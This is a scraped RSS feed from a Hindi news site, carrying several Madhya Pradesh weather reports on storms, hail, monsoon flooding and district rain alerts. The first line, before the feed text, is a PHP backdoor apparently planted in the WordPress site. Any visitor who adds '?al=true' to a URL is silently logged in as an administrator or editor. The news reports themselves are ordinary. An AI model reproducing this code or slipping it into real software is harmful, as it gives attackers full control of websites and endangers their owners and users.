// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); MP Weather – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 04 May 2026 08:16:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 मध्य प्रदेश में मौसम का कहर, आंधी-बारिश और ओलावृष्टि से कई जिलों में जनजीवन प्रभावित https://pratyushaashakinayikiran.com/?p=216895 Mon, 04 May 2026 08:16:00 +0000 https://pratyushaashakinayikiran.com/?p=216895 भोपाल

मध्य प्रदेश में भीषण गर्मी के बीच मौसम ने अचानक करवट ली है। पिछले दो-तीन दिनों से प्रदेश के कई हिस्सों में तेज आंधी-तूफान के साथ बारिश हो रही है। वहीं, कुछ जिलों में ओलावृष्टि भी देखी गई जिसने किसानों को परेशान कर दिया है। शनिवार को दोपहर में अचानक राजधानी भोपाल का भी मौसम बदल गया। तेज हवाओं के साथ बारिश ने लोगों को गर्मी से राहत दी। भोपाल के अलावा सागर, शिवपुरी, रायसेन, सीहोर, बालाघाट, बैतूल, नर्मदापुरम, नरसिंहपुर, हरदा, डिंडौरी, इटारसी, गुना, राजगढ़ जिलों में शनिवार को हल्की और तेज हवाओं के साथ बारिश हुई। मौसम विभाग ने अगले 24 घंटे के लिए 31 जिलों में तेज गरज चमक के साथ बारिश का अलर्ट जारी किया है।

सागर में झुलसाने वाली गर्मी के बाद बारिश
सागर शहर में शनिवार को सुबह से सूरज तेवर तेज रहे। दोपहर के समय झुलसाने वाली गर्मी रही, लेकिन शाम को अचानक मौसम ने करवट बदली। आसमान में अचानक काले बाद छाए और बारिश हुई। बारिश के बाद तपती गर्मी से लोगों ने राहत की सांस ली।

शिवपुरी ने रिमझिम बारिश, तेज आंधी ने उखाड़े पेड़
शिवपुरी शहर सहित अंचलभर में शनिवार दोपहर 12 बजे के बाद अचानक मौसम में बदला और फिर 60 किमी प्रति घंटे की रफ्तार से जो तूफान आया, उसने कई जगह कहर बरपा दिया। आधा घंटे तक रिमझिम बारिश भी होती रही। शहर सहित जिलेभर में 50 से अधिक स्थनों पर बड़े-बड़े पेड़ धराशायी हो गए और पोलोग्राउंड के पास बनी दीवार के पास लगा पेड़ गिरा तो उसकी चपेट में आकर कुछ लोग घायल हो गए जिन्हें इलाज के लिए जिला अस्पताल में भर्ती कराया है।

बालाघाट में बदला मौसम
बालाघाट जिले में शनिवार दोपहर अचानक बदले मौसम के चलते तेज गरज के साथ झमाझम बारिश हुई। बारिश से तापमान में गिरावट दर्ज की गई, जिससे लोगों को गर्मी से राहत मिली। हालांकि नगर पालिका क्षेत्र में मुख्य मार्गों के किनारे लगे कुछ पेड़ गिरने से आवागमन प्रभावित रहा। नालियों की साफ-सफाई नहीं होने के कारण कई निचले इलाकों में जलभराव की स्थिति बन गई। भारत मौसम विज्ञान विभाग के अनुसार 1 से 5 मई तक आंधी-तूफान के साथ हल्की वर्षा की संभावना बनी हुई है।

राजगढ़ में बारिश के साथ ओलावृष्टि
राजगढ़ में एक दिन पहले हुई बारिश के बाद रात भर उमड़ रही और शनिवार दोपहर अचानक से मौसम बदल गया बादलों की लुकाछिपी के बीच गरज चमक के साथ पोचारे गिरी कहीं बारिश तो कहीं ओलावृष्टि भी हुई जिला मुख्यालय से लगे कली पीठ क्षेत्र में कहीं-कहीं ओले गिरने की सूचना है वहीं जिले के विभिन्न क्षेत्रों में बारिश हुई कहानी पेड़ गिर गए तो कहीं सड़कों पर पानी बाहर निकाला करीब 40 किलोमीटर प्रति घंटे की रफ्तार से हवाएं चली।

शहडोल में लगातार तीसरे दिन बारिश
शहडोल संभाग सहित आसपास के क्षेत्रों में शनिवार को लगातार तीसरे दिन मौसम के कड़े तेवर देखने को मिले। सुबह दोपहर की तपिश के बाद शाम होते ही तेज धूलभरी आंधी ने जनजीवन अस्त-व्यस्त कर दिया। आंधी के साथ हुई हल्की बूंदाबांदी ने जहां तापमान में आंशिक गिरावट दर्ज की, वहीं बिजली गुल होने से लोग उमस भरी गर्मी में हलाकान रहे।

खरगोन में गिरे ओले, हुई बारिश
खरगोन जिले में शनिवार शाम करीब 6.20 बजे चिरिया के पीढ़ी जामली क्षेत्र में अचानक मौसम बदला। देखते ही देखते तेज हवाएं चलने लगी और बारिश के साथ चने आकार के ओले भी गिरे। बादल छटने के बाद मौसम में ठंडक घुली लेकिन रात में उमस ने परेशान किया।

नर्मदापुरम में तेज आंधी-बारिश, सड़क पर गिरे पेड़
नर्मदापुरम में भी शनिवार को के आसमान में बादल छाए। तेज आंधी के साथ झमाझम बारिश हुई। जिले के डोलरिया क्षेत्र के डूडू गांव के पास मुख्य सड़क पर पेड़ गिर गया।ग्रामीणों ने पेड़ को कुल्हाड़ी से काटकर मार्ग को वापस शुरू करवाया।

अगले 24 घंटे इन जिलों में बारिश का अलर्ट
मौसम विभाग ने अशोकनगर, शिवपुरी, ग्वालियर, दतिया, भिंड, मुरैना, श्योपुरकलां, सिंगरौली, सीधी, रीवा, मऊगंज, सतना, अनुपपुर, शहडोल, उमरिया, डिंडोरी, कटनी, जबलपुर, नरसिंहपुर, छिंदवाड़ा, सिवनी, मंडला, बालाघाट, पन्ना, दमोह, सागर, छतरपुर, टीकमगढ़, निवाड़ी, मैहर, पांढुर्णा जिलों में वर्षा या गरज चमक के साथ बारिश का अलर्ट जारी किया हैं।

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MP में मौसम का कहर: भोपाल, ग्वालियर, उज्जैन समेत 35 जिलों में अतिभारी बारिश का अलर्ट https://pratyushaashakinayikiran.com/?p=173605 Sun, 27 Jul 2025 09:36:00 +0000 https://pratyushaashakinayikiran.com/?p=173605 भोपाल

मध्यप्रदेश में मानसून ने पूरी ताकत के साथ दस्तक दे दी है। रविवार, 27 जुलाई 2025 को प्रदेश में इस सीजन का सबसे ताकतवर बारिश सिस्टम सक्रिय हो गया है। लगातार तेज बारिश के चलते नदियां उफान पर, डैम लबालब, और कई जिलों में बाढ़ जैसे हालात बन गए हैं। कई शहरों और गांवों में जलभराव की वजह से सड़कों पर आवागमन बंद हो गया है।

मानसून द्रोणिका भी प्रदेश से होकर गुजर रही है। जिसके चलते अधिकतर जिलों में झमाझम बारिश का सिलसिला शुरू हो गया है। मौसम विज्ञानियों के मुताबिक रविवार को ग्वालियर, चंबल, सागर, भोपाल, रीवा, शहडोल, उज्जैन संभाग के जिलों में कहीं-कहीं अतिभारी बारिश हो सकती है।

आज 35 जिलों ग्वालियर, शिवपुरी, गुना, दतिया, अशोकनगर, भिंड, मुरैना, श्योपुर, सागर, दमोह, पन्ना, छतरपुर, टीकमगढ़, निवाड़ी, भोपाल, रायसेन, राजगढ़, सीहोर, विदिशा, रीवा, सतना, सीधी, सिंगरौली, मऊगंज, मैहर, शहडोल, उमरिया, अनूपपुर, उज्जैन, देवास, आगर-मालवा, शाजापुर, रतलाम, मंदसौर और नीमच में भारी बारिश की चेतावनी जारी की गई है।

53 जिलों में रेड, ऑरेंज और येलो अलर्ट जारी

भारतीय मौसम विज्ञान विभाग ने रविवार को मध्यप्रदेश के 53 जिलों में भारी से अति भारी बारिश की चेतावनी देते हुए रेड, ऑरेंज और येलो अलर्ट जारी किया है।

बारिश का सबसे मजबूत सिस्टम एक्टिव

मध्यप्रदेश में इनदिनों मानसून अपने पूरे रंग में है। इस मानसून सीजन का सबसे मजबूत बारिश सिस्टम एक्टिव हो चुका है। इस कारण पूरे प्रदेश में ही कहीं हल्की बारिश तो कहीं मूसलाधार बारिश हो रही है। राज्यभर में बारिश से जनजीवन अस्त-व्यस्त हो गया है। अधिकांश डैम अपनी पूरी क्षमता तक भर चुके हैं, वहीं नर्मदा नदी खतरे के निशान को पार कर चुकी है। शनिवार को भोपाल, इंदौर और उज्जैन सहित 35 से अधिक जिलों में मूसलाधार बारिश हुई। ग्वालियर के डबरा और सीहोर के आष्टा जैसे क्षेत्रों में घरों और दुकानों में पानी घुस गया, जिससे कई सड़कों पर आवाजाही पूरी तरह से ठप हो गई।

इंदौर-उज्जैन संभाग भी भारी बारिश का अलर्ट

रविवार को प्रदेश के 53 जिलों में एक साथ अति भारी और भारी बारिश को लेकर रेड, ऑरेंज और यलो अलर्ट जारी किया गया है। यह पहली बार है कि पूरे मध्यप्रदेश में मौसम ने गंभीर रुख अपनाया है और मौसम विभाग ने तीनों अलर्ट जारी किए हैं। खासतौर पर मालवा-निमाड़ क्षेत्र यानी इंदौर और उज्जैन संभाग में लंबे समय से जारी सूखे की स्थिति खत्म होने की संभावना है। यहां के सभी 15 जिलों में पहली बार एकसाथ रेड और ऑरेंज अलर्ट जारी हुआ है।

मौसम विभाग के पूर्वानुमान के अनुसार भोपाल, ग्वालियर, जबलपुर, नर्मदापुरम, रीवा, शहडोल और सागर संभाग के सभी जिलों में तेज बारिश की संभावना जताई गई है। वहीं चंबल क्षेत्र के मुरैना और भिंड जिलों में फिलहाल हल्की बारिश का अनुमान है, यहां भारी बारिश की चेतावनी नहीं दी गई है।

शनिवार को यहां जमकर बरसे बादल

शनिवार को सुबह साढ़े आठ बजे से शाम साढ़े पांच बजे तक रतलाम में 45, इंदौर में 44, खजुराहो एवं सतना में 43, दतिया एवं उमरिया में 40, नरसिंहपुर में 37, बैतूल में 34, उज्जैन में 28, टीकमगढ़ में 23, नौगांव में 22, ग्वालियर में 20, मंडला में 17, नर्मदापुरम में 16, खंडवा में 10, दमोह में सात, पचमढ़ी एवं सागर में पांच, भोपाल एवं मलाजखंड में चार मिलीमीटर बारिश हुई।

मौसम विज्ञान केंद्र के विज्ञानी पीके रायकवार ने बताया कि अवदाब का क्षेत्र वर्तमान में उत्तर-पूर्वी मध्य प्रदेश पर बना हुआ है। इसके पश्चिम दिशा की तरफ बढ़ते हुए रविवार को कमजोर पड़ कर गहरे कम दबाव के क्षेत्र में परिवर्तित होने के आसार हैं। मानसून द्रोणिका अनूपगढ़, चुरू, ग्वालियर, रीवा, उत्तरी छत्तीसगढ़ पर बने अवदाब के क्षेत्र से पुरुलिया, कोंटाई से होकर बंगाल की खाड़ी तक बनी हुई है।

लबालब हुए डैम, खोले गए गेट

मध्यप्रदेश में लगातार तेज बारिश के चलते जलस्तर कई जगहों पर खतरे के निशान के करीब पहुंच गया। जलभराव और नदियों में उफान की स्थिति को देखते हुए उमरिया के जोहिला डैम, रायसेन के बारना बांध, बैतूल के सतपुड़ा डैम, नर्मदापुरम के तवा डैम, शिवपुरी के अटल सागर डैम, छतरपुर के बान सुजारा डैम के गेट खोल दिए गए। यह फैसला जलस्तर के खतरनाक स्तर तक पहुंचने के बाद लिया गया ताकि बांधों पर दबाव कम किया जा सके।

घरों-दुकानों में घुसा पानी, सड़कें तालाब बनीं

एमपी में लगातार हो रही तेज बारिश से हालात गंभीर होते जा रहे हैं। कई जिलों में बाढ़ जैसे हालात बन चुके हैं और प्रशासन अलर्ट मोड पर है। भोपाल, इंदौर और उज्जैन जैसे बड़े शहर में जलभराव हो गया। भोपाल में शनिवार रात से जारी तेज बारिश ने कई इलाकों को डुबो दिया। इंदौर की सड़कों पर दो फीट तक पानी भर गया, जिससे ट्रैफिक पूरी तरह ठप हो गया। सीहोर के आष्टा और उज्जैन में घर-दुकानों तक पानी घुस गया। उज्जैन के महाकाल लोक के प्रवेश द्वार तक नाले का पानी भर गया, धार्मिक स्थल तक भारी बारिश की चपेट में आ गए हैं।

नदियां उफान पर, पुल-पुलिया बह गए

मंडला में नर्मदा नदी का जलस्तर 437.2 मीटर तक पहुंच गया है, जो चेतावनी के स्तर को पार कर चुका है। माहिष्मती घाट का पुल पूरी तरह डूब चुका है, वहीं एक और पुलिया बह गई है। ग्वालियर के डबरा में रामगढ़ नाला उफान पर है, बालाघाट में कोटेश्वर धाम के गर्भगृह में पानी भर गया, जिससे धार्मिक गतिविधियां ठप हो गई हैं।

ग्वालियर में आज़ादी के बाद सबसे भारी बारिश, 90 साल का रिकॉर्ड टूटा

मध्य प्रदेश के ग्वालियर में बारिश ने इस बार सारे रिकॉर्ड तोड़ दिए हैं. पिछले 24 घंटे में हुई 180 मिमी बारिश के साथ ही जुलाई 2025 में अब तक 674 मिमी बारिश हो चुकी है, जो जुलाई 1935 में दर्ज 623 मिमी बारिश को भी पीछे छोड़ चुकी है. पूरे सीजन में अब तक 926 मिमी बारिश दर्ज की गई है. लगातार तेज़ बारिश के चलते शहर के कई इलाकों में हालात बिगड़ गए हैं. महाराजबड़ा इलाका पानी से लबालब हो गया, जबकि चौपाटी रोड कई जगहों से धंसक गई और सड़क के बीच बड़ा गड्ढा बन गया.

जगह-जगह जलभराव से यातायात बाधित हुआ और लोगों की परेशानी बढ़ गई. मौसम विभाग के मुताबिक, यह बारिश ग्वालियर में आज़ादी के बाद की सबसे ज्यादा 24 घंटे में दर्ज की गई बारिश है. शहर में जलभराव और सड़कें धंसने जैसी घटनाओं ने प्रशासन की तैयारियों पर भी सवाल खड़े कर दिए हैं. विशेषज्ञों का मानना है कि इस असामान्य बारिश की वजह जलवायु परिवर्तन के असर के साथ-साथ शहरी क्षेत्र की जल निकासी व्यवस्था में कमियां भी हैं. फिलहाल नगर निगम की टीमें प्रभावित इलाकों में राहत और मरम्मत कार्य में जुटी हैं.

बरसाती नाले में चली गई जान की बाज़ी! रतलाम में बाल-बाल बचा ट्रैक्टर चालक

रतलाम के धामनोद-ईसरथुनी रोड पर एक व्यक्ति लापरवाही से बरसाती नाला पार करने की कोशिश में ट्रैक्टर सहित बह गया. ग्रामीणों के मना करने के बावजूद उसने जोखिम उठाया, लेकिन गनीमत रही कि ड्राइवर तैरकर बाहर निकल आया. घटना का वीडियो सामने आया है और पुलिस ने मामले की जांच शुरू कर दी है.

 मूसलाधार बारिश से नर्मदा का जलस्तर बढ़ा, बरगी बांध के 15 गेट खोले

मूसलाधार बारिश के चलते नर्मदा नदी का जलस्तर तेजी से बढ़ रहा है. हालात को देखते हुए आज दोपहर बरगी बांध के 8 और गेट खोले गए. कल खोले गए 7 गेटों से पहले ही 40 हजार क्यूसेक पानी छोड़ा जा रहा था, जो अब बढ़कर कुल 15 गेटों से 1 लाख 20 हजार क्यूसेक हो गया है. सभी गेटों की ऊंचाई 1.56 मीटर तय की गई है. नर्मदा के जलस्तर में तेजी से हो रही बढ़ोतरी से तटवर्ती इलाकों में खतरा बढ़ गया है. गौरीघाट के दुकानदारों ने एहतियातन दुकानें खाली करना शुरू कर दिया है, वहीं तिलवाड़ा घाट, भेड़ाघाट और लम्हेटाघाट में भी लोगों को नदी से दूर रहने की हिदायत दी जा रही है. बरगी बांध में पानी की लगातार आवक बनी हुई है, जिसके चलते नरसिंहपुर, बालाघाट समेत निचले क्षेत्रों में प्रशासन ने अलर्ट जारी कर दिया है.

 इंदौर में मूसलाधार बारिश पर नगर निगम अलर्ट, जल जमाव पर कंट्रोल रूम से निगरानी

इंदौर में लगातार हो रही मूसलाधार बारिश को देखते हुए नगर निगम ने अलर्ट जारी कर दिया है. नगर निगम कंट्रोल रूम पर खुद कमिश्नर शिवम वर्मा, कलेक्टर आशीष सिंह और महापौर पुष्यमित्र भार्गव मौजूद रहकर हालात पर नजर बनाए हुए हैं. शहर में जल जमाव की आशंका वाले 12 पॉइंट चिन्हित किए गए हैं, जहां बारिश शुरू होते ही क्विक रिस्पांस टीम तैनात कर दी गई है. नगर निगम कमिश्नर शिवम वर्मा ने कहा कि कोशिश है कि कहीं भी जल जमाव की स्थिति न बने और अगर बनती भी है तो उसकी वैकल्पिक व्यवस्था तुरंत की जा रही है. साथ ही शिवम वर्मा ने नागरिकों की सुविधा के लिए बारिश से जुड़ी किसी भी समस्या की शिकायत दर्ज कराने के लिए हेल्पलाइन नंबर भी जारी किया है. प्रशासन ने शहरवासियों से अपील की है कि वे खराब मौसम में सतर्क रहें और जल भराव वाले क्षेत्रों से दूर रहें.

प्रदेश में अब तक औसतन 23.7 इंच बारिश

प्रदेश में अब तक औसतन 23.7 इंच बारिश हो चुकी है, जबकि सामान्य आंकड़ा 15.6 इंच का होता है। यानी 8 इंच ज्यादा बारिश दर्ज की गई है, यह 50% से अधिक है। निवाड़ी, टीकमगढ़, ग्वालियर और श्योपुर में बारिश ने रिकॉर्ड तोड़ दिया है, जहां सामान्य से 28% अधिक पानी गिर चुका है।

अब तक बारिश से बचे इंदौर, उज्जैन, शाजापुर और बुरहानपुर जैसे जिले अब भी पिछड़ रहे हैं, जहां 10 इंच से कम बारिश हुई है। लेकिन मौसम विभाग ने इन क्षेत्रों के लिए भी रेड और ऑरेंज अलर्ट जारी कर दिया है। इसका मतलब है अब ये इलाके भी भारी बारिश की चपेट में आ सकते हैं।

रुक-रुककर बारिश का दौर रहेगा जारी

दक्षिण-पश्चिम मध्य प्रदेश और उसके आसपास हवा के ऊपरी भाग में एक चक्रवात बना हुआ है। अलग-अलग स्थानों पर बनी इन प्रभावी मौसम प्रणालियों के असर से पूरे प्रदेश में बारिश हो रही है। रविवार को ग्वालियर, चंबल, सागर, भोपाल, रीवा, शहडोल, उज्जैन संभाग के जिलों में कहीं-कहीं अतिभारी बारिश होने की संभावना है। मौसम विशेषज्ञ अजय शुक्ला ने बताया कि रुक-रुककर भारी बारिश का सिलसिला दो दिन तक बना रह सकता है।

प्रदेशभर में सक्रिय सबसे मजबूत मानसूनी सिस्टम

इस मानसून सीजन का सबसे शक्तिशाली सिस्टम मध्यप्रदेश में सक्रिय हो चुका है, जिससे राज्य के अधिकांश हिस्सों में मूसलाधार वर्षा हो रही है।भोपाल, इंदौर, उज्जैन, ग्वालियर सहित 35+ जिलों में शनिवार को जोरदार बारिश हुई।

ग्वालियर (डबरा) और सीहोर (आष्टा) में घरों व दुकानों में पानी घुस गया, जिससे कई सड़कों पर यातायात पूरी तरह से ठप हो गया।नर्मदा नदी खतरे के निशान से ऊपर बह रही है, और डैम पूरी क्षमता तक भर चुके हैं।
इंदौर और उज्जैन संभाग में विशेष अलर्ट

मालवा-निमाड़ क्षेत्र के 15 जिलों में पहली बार एक साथ रेड और ऑरेंज अलर्ट जारी किया गया है।

अन्य क्षेत्रों में भी तेज बारिश की संभावना

भोपाल, ग्वालियर, जबलपुर, नर्मदापुरम, रीवा, शहडोल और सागर संभागों के सभी जिलों में भारी बारिश की संभावना जताई गई है।चंबल क्षेत्र के मुरैना और भिंड जिलों में हल्की बारिश का अनुमान है और यहां भारी बारिश की चेतावनी नहीं दी गई है।

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मध्यप्रदेश में लगातार 42वें दिन भी आंधी-बारिश का अलर्ट, भोपाल-इंदौर समेत 45 जिलों में आंधी-बारिश https://pratyushaashakinayikiran.com/?p=161838 Fri, 06 Jun 2025 09:26:00 +0000 https://pratyushaashakinayikiran.com/?p=161838 भोपाल

पश्चिमी विक्षोभ, द्रोणिका और चक्रवात के चलते प्रदेश में 9 जून तक बादल बारिश और आंधी की स्थिति बनी रहेगी। आज शुक्रवार को भोपाल, नर्मदापुरम, जबलपुर, सागर, इंदौर, उज्जैन, ग्वालियर, चंबल संभाग में कहीं कहीं बादल छाने के साथ बारिश की संभावना जताई गई है।

वर्तमान में मानसून की उत्तरी सीमा मुंबई, अहिल्यानगर, आदिलाबाद, भवानीपटना, पुरी, बालुरघाट से होकर ही गुजर रही है, ऐसे में प्रदेश में मानसून की एंट्री 10 से 15 जून के बीच होने की संभावना है।15 जून के बाद पूरे प्रदेश में अच्छी वर्षा का दौर शुरू हो सकता है।

आज इन जिलों में बारिश/आंधी का अलर्ट

आज शुक्रवार को 45 जिलों में तेज आंधी के साथ बारिश होने की संभावना है। इस दौरान 30 से 40 किमी प्रतिघंटा के हिसाब से आंधी चल सकती है। भोपाल, इंदौर, ग्वालियर, उज्जैन, जबलपुर श्योपुर, मुरैना, भिंड, दतिया, शिवपुरी, गुना, अशोकनगर, विदिशा, रायसेन, नर्मदापुरम, बैतूल, हरदा, सीहोर, राजगढ़, शाजापुर, देवास, खंडवा, बुरहानपुर, खरगोन, आगर-मालवा, नीमच, मंदसौर, रतलाम, झाबुआ, अलीराजपुर, बड़वानी, धार, निवाड़ी, टीकमगढ़, छतरपुर, पन्ना, सागर, दमोह, नरसिंहपुर, सिवनी, मंडला, बालाघाट, छिंदवाड़ा और पांढुर्णा।

10 के बाद मानसून की होगी एंट्री
प्रदेश में मानसून की एंट्री 10 जून के बाद ही होने की संभावना है। मौसम विभाग की माने तो अभी मानसून महाराष्ट्र-छत्तीसगढ़ में एक ही जगह पर ठहरा है। पिछले कुछ दिन से ये आगे नहीं बढ़ा है। हालांकि मध्य प्रदेश में प्री मानसून की बारिश लगातार चल रही है जिस वजह से प्रदेश के तापमान में बढ़ोतरी नहीं हो रही है। लोगों को गर्मी से राहत मिली हुई है।

वर्तमान में सक्रिय है कई मौसम प्रणालियां

वर्तमान में एक पश्चिमी विक्षोभ यूपी के आसपास द्रोणिका के रूप में बना हुआ है। मध्य पाकिस्तान एवं उससे लगे हुए उत्तर-पश्चिमी राजस्थान पर हवा के ऊपरी भाग में चक्रवात मौजूद है। दक्षिणी हरियाणा पर हवा के ऊपरी भाग में चक्रवात बना है। दक्षिणी छत्तीसगढ़ से ओडिशा, झारखंड, दक्षिणी बिहार, पश्चिम बंगाल से होते हुए उत्तर-पूर्वी बांग्लादेश तक एक द्रोणिका बनी हुई है। इन मौसम प्रणालियों के असर से प्रदेश में रुक-रुक कर वर्षा का सिलसिला बना हुआ है।फिलहाल 9 जून तक मौसम ऐसा ही रहेगा।

9 जून तक ऐसा रहेगा मौसम

    6 जून शुक्रवार : भोपाल, इंदौर, ग्वालियर, उज्जैन, जबलपुर श्योपुर, मुरैना, भिंड, दतिया, शिवपुरी, गुना, अशोकनगर, विदिशा, रायसेन, नर्मदापुरम, बैतूल, हरदा, सीहोर, राजगढ़, शाजापुर, देवास, खंडवा, बुरहानपुर, खरगोन, आगर-मालवा, नीमच, मंदसौर, रतलाम, झाबुआ, अलीराजपुर, बड़वानी, धार, निवाड़ी, टीकमगढ़, छतरपुर, पन्ना, सागर, दमोह, नरसिंहपुर, सिवनी, मंडला, बालाघाट, छिंदवाड़ा और पांढुर्णा में आंधी-बारिश का अलर्ट।

    7 जून शनिवार : मंडला, बालाघाट, सिवनी, छिंदवाड़ा, पांढुर्णा, बैतूल, हरदा, खंडवा, बुरहानपुर, खंडवा, इंदौर, धार, बड़वानी, झाबुआ और अलीराजपुर में तेज आंधी/हल्की बारिश।

    8 जून रविवार : इंदौर, मंडला, बालाघाट, सिवनी, छिंदवाड़ा, पांढुर्णा, बैतूल, हरदा, खंडवा, बुरहानपुर, खंडवा, धार, बड़वानी में तेज आंधी/हल्की बारिश ।

    9 जून सोमवार : उज्जैन, मंडला, बालाघाट, सिवनी, छिंदवाड़ा, पांढुर्णा, खरगोन, खंडवा, बुरहानपुर में तेज आंधी/बारिश।

26 अप्रैल से जारी है आंधी-बारिश इस बार भीषण गर्मी में भी आंधी-बारिश वाला मौसम रहा। प्रदेश में 26 अप्रैल से आंधी-बारिश का दौर शुरू हो गया था, जो 5 जून को भी जारी रहा। यानी, लगातार 41 दिन से प्रदेश के किसी न किसी जिले में पानी गिर रहा है, या आंधी चल रही है। मौसम विभाग ने अगले 4 दिन यानी, 9 जून तक ऐसा ही मौसम रहने का अनुमान जताया है।

आगे नहीं बढ़ रहा मानसून इधर, प्रदेश में मानसून की एंट्री 10 जून के बाद ही होने की संभावना है। मौसम विभाग की माने तो अभी मानसून महाराष्ट्र-छत्तीसगढ़ में एक ही जगह पर ठहरा है। पिछले कुछ दिन से ये आगे नहीं बढ़ा है।

अब जानिए, 10 साल में कैसा रहा मौसम…

इस साल मई में टूटे रिकॉर्ड, गर्मी की बजाय आंधी-बारिश पूरे मई महीने में आंधी, बारिश और ओले वाला मौसम रहा। एक भी दिन ऐसा नहीं रहा, जब प्रदेश के किसी न किसी जिले में आंधी-बारिश न हुई हो। एमपी में ऐसा पहली बार हुआ। भोपाल, इंदौर, उज्जैन, ग्वालियर-जबलपुर समेत कुल 53 जिले भीग गए। सिर्फ निवाड़ी ही ऐसा जिला रहा, जहां बूंदाबांदी तो हुई, लेकिन दर्ज नहीं हो सकी। दूसरी ओर, मई महीने में बारिश के कई रिकॉर्ड भी टूटे। इंदौर में 139 साल में सबसे ज्यादा 4.6 इंच पानी गिरा। वहीं, उज्जैन में सबसे ज्यादा बारिश का ओवरऑल रिकॉर्ड बना।

इससे पहले इंदौर में साल 1886 के मई महीने में 107.7 मिमी यानी, 4.2 इंच पानी गिरा था, जबकि इस बार 114.8 मिमी यानी, 4.6 इंच पानी गिर गया है। इस तरह 139 साल में इंदौर का रिकॉर्ड टूट गया है। उज्जैन में मई की बारिश का ओवरऑल रिकॉर्ड बना है। इस बार 111.8 मिमी यानी, 4.3 इंच से ज्यादा पानी गिरा है। साल 2021 में कुल मासिक बारिश 65 मिमी (2.5 इंच) हुई थी। इस हिसाब से उज्जैन में मई की बारिश का ओवरऑल रिकॉर्ड बना है।

दूसरी ओर, मई में अप्रैल जितनी गर्मी नहीं रही। अप्रैल में कई शहरों में तापमान 45 डिग्री तक पहुंच गया था। इस साल मई में प्रदेश के किसी भी शहर में दिन का तापमान 43 डिग्री तक भी नहीं पहुंचा। नौतपा में भी कम ही गर्मी रही। नौगांव, खजुराहो, टीकमगढ़, ग्वालियर, दमोह, शिवपुरी जैसे शहरों में ही पारा 40 डिग्री के पार पहुंचा। बाकी शहरों में इससे काफी नीचे रहा।

क्यों रहा ऐसा मौसम? मई में भीषण गर्मी की बजाय आंधी-बारिश होने के पीछे क्या वजह रही? इसके बारे में मौसम वैज्ञानिक डॉ. सुरेंद्रन ने जाना। उन्होंने बताया कि मई की शुरुआत से आखिरी तक प्रदेश में साइक्लोनिक सकुर्लेशन, वेस्टर्न डिस्टरबेंस (पश्चिमी विक्षोभ) और ट्रफ की एक्टिविटी देखने को मिली। लगातार सिस्टम एक्टिव होते रहे। इस वजह से आंधी-बारिश का दौर भी चलता रहा। आखिरी दिन भी कुछ जिलों में मौसम बदला रहा।

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मध्यप्रदेश में मानसून की एंट्री 10 जून के बाद होगी, भोपाल-इंदौर समेत 50 जिलों में आज आंधी-बारिश https://pratyushaashakinayikiran.com/?p=160914 Mon, 02 Jun 2025 08:45:00 +0000 https://pratyushaashakinayikiran.com/?p=160914 भोपाल

 मध्य प्रदेश में कई सिस्टम एक्टिव होने की वजह से मानसून आने से पहले ही लगातार आंधी बारिश का दौर जारी है। सोमवार को भी प्रदेश के अलर्ट जारी किया गया। मौसम वैज्ञानिकों का कहना है कि प्रदेश में मानसून की एंट्री 10 जून तक होगी। मौसम विभाग की माने तो अभी मानसून महाराष्ट्र-छत्तीसगढ़ में एक ही जगह पर ठहरा है। पिछले कुछ दिन से ये आगे नहीं बढ़ा है। सोमवार को जिन जिलों में आंधी-बारिश का अलर्ट है। उनमें भोपाल, इंदौर, उज्जैन, ग्वालियर, मुरैना, भिंड, दतिया, निवाड़ी, टीकमगढ़, छतरपुर, रीवा, सीधी, सिंगरौली, पन्ना, दमोह, मंडला, बालाघाट, सिवनी, पांढुर्णा, छिंदवाड़ा, नरसिंहपुर, सागर, विदिशा, रायसेन, नर्मदापुरम, बैतूल, सीहोर, शाजापुर, देवास, धार, अलीराजपुर, झाबुआ, रतलाम, मंदसौर, श्योपुर, शिवपुरी, अशोकनगर, गुना, राजगढ़, आगर-मालवा, सतना, मैहर, मऊगंज, कटनी, जबलपुर, उमरिया, शहडोल, अनूपपुर, डिंडौरी और नीमच शामिल हैं। यहां हवा की रफ्तार 40 से 50 किलोमीटर प्रतिघंटा तक हो सकती है। हरदा, बड़वानी, खंडवा, खरगोन और बुरहानपुर में मौसम साफ रह सकता है।

इसलिए बदला प्रदेश का मौसम
मौसम विभाग के सीनियर वैज्ञानिक डॉ. दिव्या ई. सुरेंद्रन ने बताया कि अभी तीन साइक्लोनिक सर्कुलेशन और एक वेस्टर्न डिस्टरबेंस (पश्चिमी विक्षोभ) एक्टिव है। जिसका असर प्रदेश में भी देखने को मिलेगा और हल्की बारिश-आंधी का दौर रहेगा। हालांकि, दिन-रात के पारे में भी बढ़ोतरी होगी, लेकिन हीट वेव यानी, लू चलने की संभावना नहीं है। बतादें कि पूरे मई महीने में आंधी, बारिश और ओले वाला मौसम रहा। एक भी दिन ऐसा नहीं रहा, जब प्रदेश के किसी न किसी जिले में आंधी-बारिश न हुई हो। एमपी में ऐसा पहली बार हुआ। भोपाल, इंदौर, उज्जैन, ग्वालियर-जबलपुर समेत कुल 53 जिले भीग गए। सिर्फ निवाड़ी ही ऐसा जिला रहा, जहां बूंदाबांदी तो हुई, लेकिन दर्ज नहीं हो सकी। दूसरी ओर, मई महीने में बारिश के कई रिकॉर्ड भी टूटे। इंदौर में 139 साल में सबसे ज्यादा 4.6 इंच पानी गिरा। वहीं उज्जैन में सबसे ज्यादा बारिश का ओवरऑल रिकॉर्ड बना।
   
अप्रैल से भी कम गर्म रहा मई

